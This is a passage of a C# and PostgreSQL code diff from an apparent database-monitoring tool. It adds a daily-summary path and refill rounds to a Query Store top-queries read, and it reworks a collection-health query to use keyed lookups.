+        /* #5313: the candidate count rides on its own row, joined to the page, so a round whose candidates were
+           ALL trimmed (every one a WAITFOR statement) still reports it; an empty page used to read as
+           exhausted. page_ord is NULL on that row, which is how the caller tells it from a page row. */
+        SELECT p.*, c.candidate_count
+        FROM (SELECT COUNT(*) AS candidate_count FROM ranked) AS c
+        LEFT JOIN page AS p ON TRUE
+        ORDER BY p.page_ord
         """;
 
+    /// <summary><see cref="QueryStoreTopRankedHead"/> + <see cref="QueryStoreTopTail"/>: byte-identical to the single
+    /// string it was before the tail was split off for <see cref="QueryStoreTopDailyTableSql"/> (a test pins its hash).</summary>
+    private const string QueryStoreTopSuffix = QueryStoreTopRankedHead + QueryStoreTopTail;
+
+    /// <summary>
+    /// The long-window read (#5094): <see cref="QueryStoreTopTableSql"/>'s answer, with a run of whole UTC days taken
+    /// from <c>collect.query_store_top_daily</c> instead of the wide table. $1 server_id, $2 the gate's
+    /// <c>ReadStart</c>, $3 the window end (inclusive, as in the table read), $4 top, $5 database, $6 execution
+    /// outcome, $7 module, $8 <c>S</c> and $9 <c>E</c> (dates): the days <c>[S, E)</c> come from the summary, and the
+    /// edges <c>[$2, S)</c> and <c>[E, $3]</c> from the wide table with exactly the table read's predicates (the
+    /// inclusive $3, the <c>first_execution_time</c> floor of <see cref="QueryStoreTopTablePrefix"/> per range, and its
+    /// upper bound too (#5523): each edge range ends at its own window end plus
+    /// <see cref="QueryStoreIntervalWide.FirstExecUpperSlack"/>, so an edge reads about a day of the server's rows, not
+    /// every row newer than it), so a partial first or last day, and any day without a built row, is exact.
+    /// <para><b>Every arm is projected as recombinable parts</b>: the execution count, and for each averaged column its
+    /// value as <c>numeric</c> and a 0/1 for "not NULL" (the summary stores the same two things as
+    /// <c>&lt;col&gt;_sum</c> and <c>&lt;col&gt;_n</c>). <c>ranked</c> then groups the unioned rows by the table read's own
+    /// keys and computes <c>SUM(sum) / NULLIF(SUM(n), 0)</c>, which is the table read's unweighted mean of interval
+    /// averages. In the clean case it equals the table read bit for bit: <c>AVG(double precision)</c> of the
+    /// bigint-valued columns is <c>Sx / N</c> with <c>Sx</c> a sum of integers, exact in a double while it stays below
+    /// 2^53; here <c>Sx</c> is an exact <c>numeric</c> sum that is converted to a double once and divided by the same
+    /// <c>N</c>, so both are one correctly rounded division of the same two numbers. $7 filters the unioned rows before
+    /// the GROUP BY, where the table read puts it (<c>module_name</c> is part of the summary's key). The text lateral,
+    /// the WAITFOR exclusion and the ordering are <see cref="QueryStoreTopTail"/>, shared with the table read.</para>
+    /// <para><b>Approximate only through the summary's documented staleness</b>: a row written into a day after that day
+    /// was built is missed, and a row whose <c>collection_time</c> moves into the next day is counted twice until the
+    /// second pass. Those residuals, and why the summary has them, are in the V161 comment in <c>PgMigrations</c> and
+    /// the <see cref="QueryStoreTopDaily"/> header. A static readonly for the same reason as
+    /// <see cref="QueryStoreTopTableSql"/>.</para>
+    /// </summary>
+    public static readonly string QueryStoreTopDailyTableSql = $$"""
+        WITH parts AS (
+            SELECT
+                database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role, module_name,
+                CAST(execution_count AS numeric) AS ec,
+                CAST(avg_duration_us AS numeric) AS duration_sum, CAST(CAST(avg_duration_us IS NOT NULL AS integer) AS bigint) AS duration_n,
+                CAST(avg_cpu_time_us AS numeric) AS cpu_sum, CAST(CAST(avg_cpu_time_us IS NOT NULL AS integer) AS bigint) AS cpu_n,
+                CAST(avg_logical_io_reads AS numeric) AS reads_sum, CAST(CAST(avg_logical_io_reads IS NOT NULL AS integer) AS bigint) AS reads_n,
+                CAST(avg_logical_io_writes AS numeric) AS writes_sum, CAST(CAST(avg_logical_io_writes IS NOT NULL AS integer) AS bigint) AS writes_n,
+                CAST(avg_physical_io_reads AS numeric) AS physical_sum, CAST(CAST(avg_physical_io_reads IS NOT NULL AS integer) AS bigint) AS physical_n,
+                CAST(avg_rowcount AS numeric) AS rowcount_sum, CAST(CAST(avg_rowcount IS NOT NULL AS integer) AS bigint) AS rowcount_n,
+                last_execution_time, query_plan_hash
+            FROM query_store_interval_wide
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time < $8::date
+            AND   first_execution_time >= $2 - {{QueryStoreIntervalWide.PurgeEdgeMarginSql}}
+            AND   first_execution_time < $8::date + {{QueryStoreIntervalWide.FirstExecUpperSlackSql}}
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
+            AND   ($6::text IS NULL OR execution_type_desc = $6)
+            UNION ALL
+            SELECT
+                database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role, module_name,
+                CAST(execution_count AS numeric) AS ec,
+                CAST(avg_duration_us AS numeric), CAST(CAST(avg_duration_us IS NOT NULL AS integer) AS bigint),
+                CAST(avg_cpu_time_us AS numeric), CAST(CAST(avg_cpu_time_us IS NOT NULL AS integer) AS bigint),
+                CAST(avg_logical_io_reads AS numeric), CAST(CAST(avg_logical_io_reads IS NOT NULL AS integer) AS bigint),
+                CAST(avg_logical_io_writes AS numeric), CAST(CAST(avg_logical_io_writes IS NOT NULL AS integer) AS bigint),
+                CAST(avg_physical_io_reads AS numeric), CAST(CAST(avg_physical_io_reads IS NOT NULL AS integer) AS bigint),
+                CAST(avg_rowcount AS numeric), CAST(CAST(avg_rowcount IS NOT NULL AS integer) AS bigint),
+                last_execution_time, query_plan_hash
+            FROM query_store_interval_wide
+            WHERE server_id = $1
+            AND   collection_time >= $9::date
+            AND   collection_time <= $3
+            AND   first_execution_time >= $9::date - {{QueryStoreIntervalWide.PurgeEdgeMarginSql}}
+            AND   first_execution_time <= $3 + {{QueryStoreIntervalWide.FirstExecUpperSlackSql}}
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
+            AND   ($6::text IS NULL OR execution_type_desc = $6)
+            UNION ALL
+            SELECT
+                database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role, module_name,
+                execution_count_sum,
+                avg_duration_us_sum, avg_duration_us_n,
+                avg_cpu_time_us_sum, avg_cpu_time_us_n,
+                avg_logical_io_reads_sum, avg_logical_io_reads_n,
+                avg_logical_io_writes_sum, avg_logical_io_writes_n,
+                avg_physical_io_reads_sum, avg_physical_io_reads_n,
+                avg_rowcount_sum, avg_rowcount_n,
+                last_execution_time_max, query_plan_hash_max
+            FROM query_store_top_daily
+            WHERE server_id = $1
+            AND   day >= $8::date
+            AND   day < $9::date
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
+            AND   ($6::text IS NULL OR execution_type_desc = $6)
+        ),
+        ranked AS (
+            SELECT
+                database_name,
+                query_id,
+                plan_id,
+                query_hash,
+                execution_type_desc,
+                MAX(module_name) AS module_name,
+                replica_role,
+                CAST(SUM(ec) AS bigint) AS total_executions,
+                CAST(SUM(duration_sum) AS double precision) / NULLIF(SUM(duration_n), 0) / 1000.0 AS avg_duration_ms,
+                CAST(SUM(cpu_sum) AS double precision) / NULLIF(SUM(cpu_n), 0) / 1000.0 AS avg_cpu_time_ms,
+                CAST(SUM(reads_sum) AS double precision) / NULLIF(SUM(reads_n), 0) AS avg_logical_reads,
+                CAST(SUM(writes_sum) AS double precision) / NULLIF(SUM(writes_n), 0) AS avg_logical_writes,
+                CAST(SUM(physical_sum) AS double precision) / NULLIF(SUM(physical_n), 0) AS avg_physical_reads,
+                CAST(SUM(rowcount_sum) AS double precision) / NULLIF(SUM(rowcount_n), 0) AS avg_rowcount,
+                MAX(last_execution_time) AS last_execution_time,
+                MAX(query_plan_hash) AS query_plan_hash
+            FROM parts
+            WHERE ($7::text IS NULL OR module_name = $7)
+            GROUP BY database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role
+            ORDER BY SUM(ec) * (CAST(SUM(duration_sum) AS double precision) / NULLIF(SUM(duration_n), 0)) DESC, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role
+            LIMIT $10
+        ),
+
+        """ + QueryStoreTopTail;
+
+    /// <summary>The days of <c>[$2, $3)</c> that have a built summary row for server $1. $2 and $3 are dates.</summary>
+    private const string QueryStoreTopBuiltDaysSql = """
+        SELECT day
+        FROM query_store_top_daily_built
+        WHERE server_id = $1
+        AND   day >= $2::date
+        AND   day < $3::date
+        ORDER BY day
+        """;
+
+    /// <summary>
+    /// The longest contiguous run of <paramref name="builtDays"/> (ascending, distinct) as <c>[Start, EndExclusive)</c>;
+    /// a tie goes to the latest run, the newer days being the more expensive to read from the wide table. Null when
+    /// there is no built day.
+    /// </summary>
+    internal static (DateOnly Start, DateOnly EndExclusive)? LongestBuiltRun(IReadOnlyList<DateOnly> builtDays)
+    {
+        (DateOnly Start, DateOnly EndExclusive)? best = null;
+        var bestLength = 0;
+        var i = 0;
+        while (i < builtDays.Count)
+        {
+            var j = i;
+            while (j + 1 < builtDays.Count && builtDays[j + 1] == builtDays[j].AddDays(1))
+            {
+                j++;
+            }
+
+            var length = j - i + 1;
+            if (length >= bestLength)
+            {
+                best = (builtDays[i], builtDays[j].AddDays(1));
+                bestLength = length;
+            }
+
+            i = j + 1;
+        }
+
+        return best;
+    }
+
+    /// <summary>The whole UTC days <c>[First, EndExclusive)</c> inside <c>[readStart, endUtc)</c>: the first midnight at
+    /// or after <paramref name="readStart"/> up to the midnight at or before <paramref name="endUtc"/>. Empty (First
+    /// &gt;= EndExclusive) for a window that holds no whole day.</summary>
+    internal static (DateOnly First, DateOnly EndExclusive) WholeDays(DateTime readStart, DateTime endUtc)
+    {
+        var first = DateOnly.FromDateTime(readStart.Date);
+        if (readStart.TimeOfDay != TimeSpan.Zero)
+        {
+            first = first.AddDays(1);
+        }
+
+        return (first, DateOnly.FromDateTime(endUtc.Date));
+    }
+
     /// <summary>
     /// #3953's own threshold for this read (ruling issuecomment-5836972848 item 5): below this window the
     /// table's extra round trips (the gate's own reads plus a second transaction) cost more than they save, so
@@ -2084,16 +2926,39 @@ ORDER BY r.total_executions * r.avg_duration_ms DESC
     /// the connected store's version for this surface; no extra round trip earns its keep here.</summary>
     private const int QueryStoreTopTableMinSchemaVersion = 145;
 
+    /// <summary>
+    /// The first half of the grid's tier choice (#3953), shared so the Query Store History read (#5234) follows the grid
+    /// and cannot drift from it: the store must be at schema version 145 or later, and the window at least
+    /// <see cref="QueryStoreTopMinWindow"/>. The second half is the gate, <see cref="QueryStoreIntervalWide.ResolveReadAsync"/>.
+    /// </summary>
+    internal static bool QueryStoreTopMayReadTable(DateTime startUtc, DateTime endUtc) =>
+        StorageVersion.SchemaVersion >= QueryStoreTopTableMinSchemaVersion && endUtc - startUtc >= QueryStoreTopMinWindow;
+
     public static Task<List<QueryStoreRow>> GetQueryStoreTopAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, string? databaseName,
         CancellationToken cancellationToken = default) =>
-        GetQueryStoreTopAsync(postgres, serverId, startUtc, endUtc, top, databaseName, executionType: null, moduleName: null, cancellationToken);
+        GetQueryStoreTopAsync(postgres, serverId, startUtc, endUtc, top, DatabaseFilter.One(databaseName), executionType: null, moduleName: null, cancellationToken);
+
+    /// <summary>#5245: the unfiltered-by-outcome top rows over a SET of databases (the one read the tool uses to tell a
+    /// measured zero from missing data).</summary>
+    public static Task<List<QueryStoreRow>> GetQueryStoreTopAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, DatabaseFilter databases,
+        CancellationToken cancellationToken = default) =>
+        GetQueryStoreTopAsync(postgres, serverId, startUtc, endUtc, top, databases, executionType: null, moduleName: null, cancellationToken);
 
     /// <summary>The rows, and the table read's plan when the interval table served them.</summary>
     /// <param name="Rows">The top rows.</param>
     /// <param name="Table">The read's <see cref="QueryStoreIntervalWide.WideReadPlan"/> when the interval table
     /// served; null when the raw tier did.</param>
-    public readonly record struct QueryStoreTopRead(List<QueryStoreRow> Rows, QueryStoreIntervalWide.WideReadPlan? Table);
+    /// <param name="DailyDaysUsed">How many whole UTC days came from the daily summary
+    /// (<c>collect.query_store_top_daily</c>); 0 when the whole window was read from the wide table or raw.</param>
+    /// <param name="DailySpan">The days <c>[Start, EndExclusive)</c> read from the summary; null when
+    /// <see cref="DailyDaysUsed"/> is 0.</param>
+    public readonly record struct QueryStoreTopRead(
+        List<QueryStoreRow> Rows,
+        QueryStoreIntervalWide.WideReadPlan? Table,
+        int DailyDaysUsed = 0,
+        (DateOnly Start, DateOnly EndExclusive)? DailySpan = null);
 
     /// <summary>
     /// #3953: reads <c>query_store_interval_wide</c> when <see cref="QueryStoreIntervalWide.ReadsTableAsync"/>
@@ -2103,18 +2968,35 @@ public static Task<List<QueryStoreRow>> GetQueryStoreTopAsync(
     /// <c>as_of</c> to a concrete instant before calling in, so there is no "open end" case to thread through
     /// the way the viewer's WPF presets have.
     /// </summary>
-    public static async Task<List<QueryStoreRow>> GetQueryStoreTopAsync(
+    public static Task<List<QueryStoreRow>> GetQueryStoreTopAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, string? databaseName,
         string? executionType, string? moduleName, CancellationToken cancellationToken = default) =>
-        (await GetQueryStoreTopWithReachAsync(postgres, serverId, startUtc, endUtc, top, databaseName, executionType, moduleName, cancellationToken)).Rows;
+        GetQueryStoreTopAsync(postgres, serverId, startUtc, endUtc, top, DatabaseFilter.One(databaseName), executionType, moduleName, cancellationToken);
+
+    /// <summary>#5245: <see cref="GetQueryStoreTopAsync(NpgsqlDataSource,int,DateTime,DateTime,int,string,string,string,CancellationToken)"/>
+    /// over a SET of databases.</summary>
+    public static async Task<List<QueryStoreRow>> GetQueryStoreTopAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, DatabaseFilter databases,
+        string? executionType, string? moduleName, CancellationToken cancellationToken = default) =>
+        (await GetQueryStoreTopWithReachAsync(postgres, serverId, startUtc, endUtc, top, databases, executionType, moduleName, cancellationToken)).Rows;
 
     /// <summary>
     /// <see cref="GetQueryStoreTopAsync(NpgsqlDataSource,int,DateTime,DateTime,int,string,string,string,CancellationToken)"/>
     /// plus which tier served it: when the interval table did, <see cref="QueryStoreTopRead.Table"/> carries the
     /// bound it read from so the caller can say how far back the answer reaches.
     /// </summary>
-    public static async Task<QueryStoreTopRead> GetQueryStoreTopWithReachAsync(
+    public static Task<QueryStoreTopRead> GetQueryStoreTopWithReachAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, string? databaseName,
+        string? executionType, string? moduleName, CancellationToken cancellationToken = default) =>
+        GetQueryStoreTopWithReachAsync(postgres, serverId, startUtc, endUtc, top, DatabaseFilter.One(databaseName), executionType, moduleName, cancellationToken);
+
+    /// <summary>
+    /// #5245: <see cref="GetQueryStoreTopWithReachAsync(NpgsqlDataSource,int,DateTime,DateTime,int,string,string,string,CancellationToken)"/>
+    /// over a SET of databases. The list predicate is in the raw statement, the interval-table statement and the daily
+    /// statement, and each runs again under <see cref="TopFill"/>'s refill rounds, so no round reads an unchosen database.
+    /// </summary>
+    public static async Task<QueryStoreTopRead> GetQueryStoreTopWithReachAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, DatabaseFilter databases,
         string? executionType, string? moduleName, CancellationToken cancellationToken = default)
     {
         /* Review D4R H1: the window check first, before the gate's own round trips even open — this surface
@@ -2122,30 +3004,36 @@ has no live schema probe to save (StorageVersion.SchemaVersion is a compiled con
            call under QueryStoreTopMinWindow otherwise still opens a second connection, a transaction, and
            pays ReadSourceInputsSql plus the unindexed PlainTableFloorSql scan for a read that can only ever
            land on raw (UseTable's clause 5). */
-        if (StorageVersion.SchemaVersion >= QueryStoreTopTableMinSchemaVersion && endUtc - startUtc >= QueryStoreTopMinWindow)
+        if (QueryStoreTopMayReadTable(startUtc, endUtc))
         {
             var table = await TryGetQueryStoreTopFromTableAsync(
-                postgres, serverId, startUtc, endUtc, top, databaseName, executionType, moduleName, cancellationToken);
-            if (table is var (tableRows, tablePlan))
+                postgres, serverId, startUtc, endUtc, top, databases, executionType, moduleName, cancellationToken);
+            if (table is var (tableRows, tablePlan, dailyDays, dailySpan))
             {
-                return new QueryStoreTopRead(tableRows, tablePlan);
+                ReadScope.NoteSource(ReadScope.SourceIntervalTable);
+                ReadScope.NoteRows(tableRows.Count);
+                return new QueryStoreTopRead(tableRows, tablePlan, dailyDays, dailySpan);
             }
         }
 
-        var rows = new List<QueryStoreRow>();
-        await using var command = postgres.CreateCommand(QueryStoreTopSql);
-        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
-        AddWindow(command, serverId, startUtc, endUtc);
-        AddInt(command, top);
-        AddNullableText(command, databaseName);
-        AddNullableText(command, executionType);
-        AddNullableText(command, moduleName);
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
+        /* #5313: the WAITFOR trim can leave the page short; TopFill asks again with a larger candidate limit ($8)
+           while more candidates exist, under its bound (page_ord is column 17, candidate_count 18). */
+        var rows = await TopFill.RunAsync(top, async candidates =>
         {
-            rows.Add(ReadQueryStoreTopRow(reader));
-        }
+            await using var command = postgres.CreateCommand(QueryStoreTopSql);
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            AddWindow(command, serverId, startUtc, endUtc);
+            AddInt(command, top);
+            AddDatabases(command, databases);
+            AddNullableText(command, executionType);
+            AddNullableText(command, moduleName);
+            AddInt(command, candidates);
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            return await TopFill.ReadPageAsync(reader, QueryStorePageOrdinal, ReadQueryStoreTopRow, cancellationToken);
+        });
 
+        ReadScope.NoteSource(ReadScope.SourceRaw);
+        ReadScope.NoteRows(rows.Count);
         return new QueryStoreTopRead(rows, null);
     }
 
@@ -2157,6 +3045,10 @@ land on raw (UseTable's clause 5). */
     /// monitored-TARGET command uses, so the census deliberately does not auto-accept it here.</summary>
     private const string SetTransactionReadOnlySql = "SET TRANSACTION READ ONLY";
 
+    /// <summary>Test-only fault injection: when set, <see cref="TryGetQueryStoreTopFromTableAsync"/> throws the
+    /// returned exception right after the gate chose the interval table. Never set by product code.</summary>
+    internal static readonly System.Threading.AsyncLocal<Func<Exception>?> TestOnlyTableReadFault = new();
+
     /// <summary>
     /// #3953's gate and table read for the MCP/web top-queries surface, on ONE connection in ONE read-only
     /// REPEATABLE READ transaction (M1, ruling issuecomment-5836972848), mirroring the viewer's
@@ -2167,10 +3059,11 @@ land on raw (UseTable's clause 5). */
     /// returns null (except cancellation, which propagates): the gate already does this for its own statements,
     /// and the table read must fail the same way rather than surface to the caller as an error.
     /// </summary>
-    private static async Task<(List<QueryStoreRow> Rows, QueryStoreIntervalWide.WideReadPlan Plan)?> TryGetQueryStoreTopFromTableAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, string? databaseName,
+    private static async Task<(List<QueryStoreRow> Rows, QueryStoreIntervalWide.WideReadPlan Plan, int DailyDays, (DateOnly Start, DateOnly EndExclusive)? DailySpan)?> TryGetQueryStoreTopFromTableAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, DatabaseFilter databases,
         string? executionType, string? moduleName, CancellationToken cancellationToken)
     {
+        var gateDecided = false;
         try
         {
             await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
@@ -2183,39 +3076,82 @@ land on raw (UseTable's clause 5). */
 
             var plan = await QueryStoreIntervalWide.ResolveReadAsync(
                 connection, serverId, startUtc, endUtc, endUtc, QueryStoreTopMinWindow,
-                McpCommandDeadlines.ReadSeconds, logger: null, cancellationToken);
+                McpCommandDeadlines.ReadSeconds, ReadScope.Current?.Logger, cancellationToken);
             if (!plan.UseTable)
             {
+                if (plan.DecisionFailed)
+                {
+                    ReadScope.Note(ReadFallback.GateFailed);
+                }
+
                 return null;
             }
 
-            var rows = new List<QueryStoreRow>();
-            await using var command = new NpgsqlCommand(QueryStoreTopTableSql, connection) { Transaction = transaction, CommandTimeout = McpCommandDeadlines.ReadSeconds };
-            AddInt(command, serverId);
-            AddTimestamp(command, plan.ReadStart);
-            AddTimestamp(command, endUtc);
-            AddInt(command, top);
-            AddNullableText(command, databaseName);
-            AddNullableText(command, executionType);
-            AddNullableText(command, moduleName);
-            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-            while (await reader.ReadAsync(cancellationToken))
+            gateDecided = true;
+            if (TestOnlyTableReadFault.Value is { } injectFault)
             {
-                rows.Add(ReadQueryStoreTopRow(reader));
+                throw injectFault();
             }
 
-            return (rows, plan);
+            /* The longest run of built whole days inside [ReadStart, end), read in this same snapshot. No built day
+               keeps the interval-table read exactly as it was (same text, same parameters). */
+            var (firstDay, endDay) = WholeDays(plan.ReadStart, endUtc);
+            (DateOnly Start, DateOnly EndExclusive)? dailySpan = null;
+            if (firstDay < endDay)
+            {
+                var builtDays = new List<DateOnly>();
+                await using (var built = new NpgsqlCommand(QueryStoreTopBuiltDaysSql, connection) { Transaction = transaction, CommandTimeout = McpCommandDeadlines.ReadSeconds })
+                {
+                    AddInt(built, serverId);
+                    built.Parameters.Add(new NpgsqlParameter<DateOnly> { TypedValue = firstDay, NpgsqlDbType = NpgsqlDbType.Date });
+                    built.Parameters.Add(new NpgsqlParameter<DateOnly> { TypedValue = endDay, NpgsqlDbType = NpgsqlDbType.Date });
+                    await using var builtReader = await built.ExecuteReaderAsync(cancellationToken);
+                    while (await builtReader.ReadAsync(cancellationToken))
+                    {
+                        builtDays.Add(DateOnly.FromDateTime(builtReader.GetDateTime(0)));
+                    }
+                }
+
+                dailySpan = LongestBuiltRun(builtDays);
+            }
+
+            var topSql = dailySpan is null ? QueryStoreTopTableSql : QueryStoreTopDailyTableSql;
+            /* #5313: the same fill rounds as the raw read. The candidate limit is bound LAST ($8 on the interval
+               table read, $10 on the daily read, after its two dates). */
+            var rows = await TopFill.RunAsync(top, async candidates =>
+            {
+                await using var command = new NpgsqlCommand(topSql, connection) { Transaction = transaction, CommandTimeout = McpCommandDeadlines.ReadSeconds };
+                AddInt(command, serverId);
+                AddTimestamp(command, plan.ReadStart);
+                AddTimestamp(command, endUtc);
+                AddInt(command, top);
+                AddDatabases(command, databases);
+                AddNullableText(command, executionType);
+                AddNullableText(command, moduleName);
+                if (dailySpan is var (spanStart, spanEnd))
+                {
+                    command.Parameters.Add(new NpgsqlParameter<DateOnly> { TypedValue = spanStart, NpgsqlDbType = NpgsqlDbType.Date });
+                    command.Parameters.Add(new NpgsqlParameter<DateOnly> { TypedValue = spanEnd, NpgsqlDbType = NpgsqlDbType.Date });
+                }
+
+                AddInt(command, candidates);
+                await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+                return await TopFill.ReadPageAsync(reader, QueryStorePageOrdinal, ReadQueryStoreTopRow, cancellationToken);
+            });
+
+            return (rows, plan, dailySpan is var (ds, de) ? de.DayNumber - ds.DayNumber : 0, dailySpan);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
-            /* Review D4R M2: same silent-fallback risk as the viewer's twin. This surface has no ILogger
-               reachable from a static method with no DI-injected instance (its caller, DarlingMcpDataTools,
-               takes no logger either), so Trace is the only seam available here. */
-            System.Diagnostics.Trace.TraceWarning($"#3953 MCP top-queries table read fell back to raw: {ex.GetType().Name}: {ex.Message}");
+            ReadScope.NoteFallback(gateDecided ? ReadFallback.FallbackRaw : ReadFallback.GateFailed, "#3953 MCP top-queries table read", ex);
             return null;
         }
     }
 
+    /// <summary>The ordinal of <c>page_ord</c>, the column after <c>replica_role</c> (#5313): <c>candidate_count</c>
+    /// follows it. <see cref="TopFill.ReadPageAsync{T}"/> reads both.</summary>
+    private const int QueryStorePageOrdinal = 17;
+
     /// <summary>Shared by <see cref="GetQueryStoreTopAsync(NpgsqlDataSource,int,DateTime,DateTime,int,string,string,string,CancellationToken)"/>'s
     /// raw and table paths: both <see cref="QueryStoreTopSql"/> and <see cref="QueryStoreTopTableSql"/> project
     /// the same <see cref="QueryStoreTopSuffix"/> column list, in the same order.</summary>
@@ -2315,210 +3251,285 @@ public static async Task<List<ServerListRow>> GetServerListAsync(
     /// success/run/error timestamps, and the permission-denied count for the banding. SKIPPED counts as
     /// a healthy run. $1 server_id, $2 window start (naive UTC — the trailing 7 days).
     ///
-    /// <para>30 columns since #3885 (16 at #2460, plus #2472's four fan-out columns, #2804's
+    /// <para>31 columns since #4748 (16 at #2460, plus #2472's four fan-out columns, #2804's
     /// abandoned_count, #3010's last_denied_time, #3017's rows_stored/runs_with_rows, #3240's
     /// extension_missing_count, #3754's session_missing_count, #3819's current_status /
-    /// last_non_skip_time / last_productive_time and #3885's trailing_zero_row_success_runs) — every
-    /// addition APPENDED, never inserted, because both MCP surfaces read
+    /// last_non_skip_time / last_productive_time, #3885's trailing_zero_row_success_runs and #4748's
+    /// latest_run_note) — every addition APPENDED, never inserted, because both MCP surfaces read
     /// this result set positionally. No longer column-identical to the WPF viewer's own
     /// <c>CollectionHealthSql</c>: the two duration statistics feed the MCP tool's sweep-pressure
     /// arithmetic, which the viewer's health grid does not serve. Lite's DuckDB read carries them at
     /// the SAME ordinals, which is the parity that matters here — both MCP surfaces read positionally.</para>
+    ///
+    /// <para><b>Keyed lookups, not ranks (#4955).</b> The newest-row columns — last_error, last_note, the four
+    /// fan-out columns, current_status, latest_run_note and the trailing zero-row count — used to come from four
+    /// <c>ROW_NUMBER()</c> ranks over every run of the window, which sorted the whole seven days to read one row
+    /// per collector (about half a second of a cold call over 196,000 rows). They are lookups now: the plain
+    /// aggregate finds the instant each one needs, and a LATERAL join reads the winning row of that collector at
+    /// that instant through <c>idx_collection_log_watermark (server_id, collector_name, collection_time DESC)</c>.
+    /// The columns, their order, their types and their values are the ranks' own, tie-breaks included
+    /// (<c>CollectionHealthKeyedLookupParityTests</c> holds each to the pre-change statement). The aggregates
+    /// still read the window's raw columns: p95 is an exact <c>PERCENTILE_DISC</c>, which the hourly rollup
+    /// cannot give.</para>
     /// </summary>
     public const string CollectionHealthSql = $"""
+        WITH health AS
+        (
+            SELECT
+                collector_name,
+                COUNT(*) AS total_runs,
+                -- #2926: SUCCESS excludes an abandonment that predates #2803, so the Success column beside
+                -- Abandoned cannot count the same run twice. Post-#2803 rows need no exclusion - ABANDONED
+                -- is not SUCCESS - and an ordinary empty run stays counted, which is what the COALESCE in
+                -- the shared predicate is for: NULL under this NOT would have dropped it.
+                SUM(CASE WHEN status = 'SUCCESS'
+                          AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql}
+                         THEN 1 ELSE 0 END) AS success_count,
+                SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END) AS error_count,
+                AVG(duration_ms) AS avg_duration_ms,
+                -- #2460: the mean above describes a collector whose runs all cost about the same, and
+                -- says nothing true about one whose runs come in two sizes. query_store on a dense shard
+                -- reported a 13,834 ms average over 1,155 runs where 958 of them yielded nothing and cost
+                -- ~36 ms, which puts the other 197 at ~80,900 ms EACH — each one on its own larger than
+                -- the whole 60,000 ms sweep budget. duration_ms has been written per run since V2;
+                -- nothing had ever read it as anything but a mean.
+                --
+                -- p95 rather than the max for the number a decision is made from: a max is one run, so a
+                -- single pathological cycle would make a collector look permanently terrible for the rest
+                -- of the window. p95 also scales itself to the sample — over 3,500 runs it discards the
+                -- one bad cycle, and over the six runs a daily collector gets in a week it lands on the
+                -- max, which is right, because with six samples there is no outlier anyone can afford to
+                -- throw away. DISC rather than CONT so the answer is a duration some run actually took
+                -- instead of an interpolation between the two modes, which would be a number describing
+                -- no run at all — the exact defect this column exists to end. Both engines ignore NULL
+                -- duration_ms here, as AVG already does. Byte-identical to Lite's DuckDB read.
+                MAX(duration_ms) AS max_duration_ms,
+                PERCENTILE_DISC(0.95) WITHIN GROUP (ORDER BY duration_ms) AS p95_duration_ms,
+                MAX(CASE WHEN status IN ('SUCCESS', 'SKIPPED') THEN collection_time END) AS last_success_time,
+                MAX(collection_time) AS last_run_time,
+                -- The newest failure OUTRIGHT, text or not — "when did this last fail" means the run, not
+                -- the message.
+                MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN collection_time END) AS last_error_time,
+                -- #4955: the instant the last_error lookup below starts from — the newest failure that
+                -- CARRIED text. It can be older than last_error_time when a later failure was written with
+                -- none, and it is the class (a failing status AND a message), not the status alone, so a
+                -- SUCCESS row's note at the same instant cannot be the row the lookup lands on.
+                MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING')
+                          AND error_message IS NOT NULL
+                         THEN collection_time END) AS last_failure_text_time,
+                SUM(CASE WHEN status = 'PERMISSIONS' THEN 1 ELSE 0 END) AS permission_denied_count,
+                SUM(CASE WHEN status = 'YIELDED' THEN 1 ELSE 0 END) AS yield_count,
+                -- #4955: the instant the last_note lookup below starts from — the newest SUCCESS run that
+                -- CARRIED a note (see last_note).
+                MAX(CASE WHEN status = 'SUCCESS' AND error_message IS NOT NULL THEN collection_time END) AS last_note_time,
+                COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count,
+                -- #1852: the one thing that makes a persistently-empty enumeration interesting — does this
+                -- target actually HAVE user databases? Zero items on a server with none is legitimate and
+                -- stays quiet; zero items on a server that HAS them is a login that cannot enter any, or a
+                -- filter that swallowed everything. database_size_stats rather than database_config for
+                -- three reasons: it runs on the scheduled loop (60 min) where database_config is on-load
+                -- and can age past this window on a long-running service; it is indexed on
+                -- (server_id, collection_time) where database_config has no index at all; and it reads
+                -- sys.master_files, so it still sees databases the monitoring login cannot ENTER — exactly
+                -- the case being diagnosed. database_id > 4 excludes the system databases, tempdb
+                -- included: the size collector takes every ONLINE database, so a bare row check
+                -- would be true on every server alive. A NULL database_id is an Azure sibling row
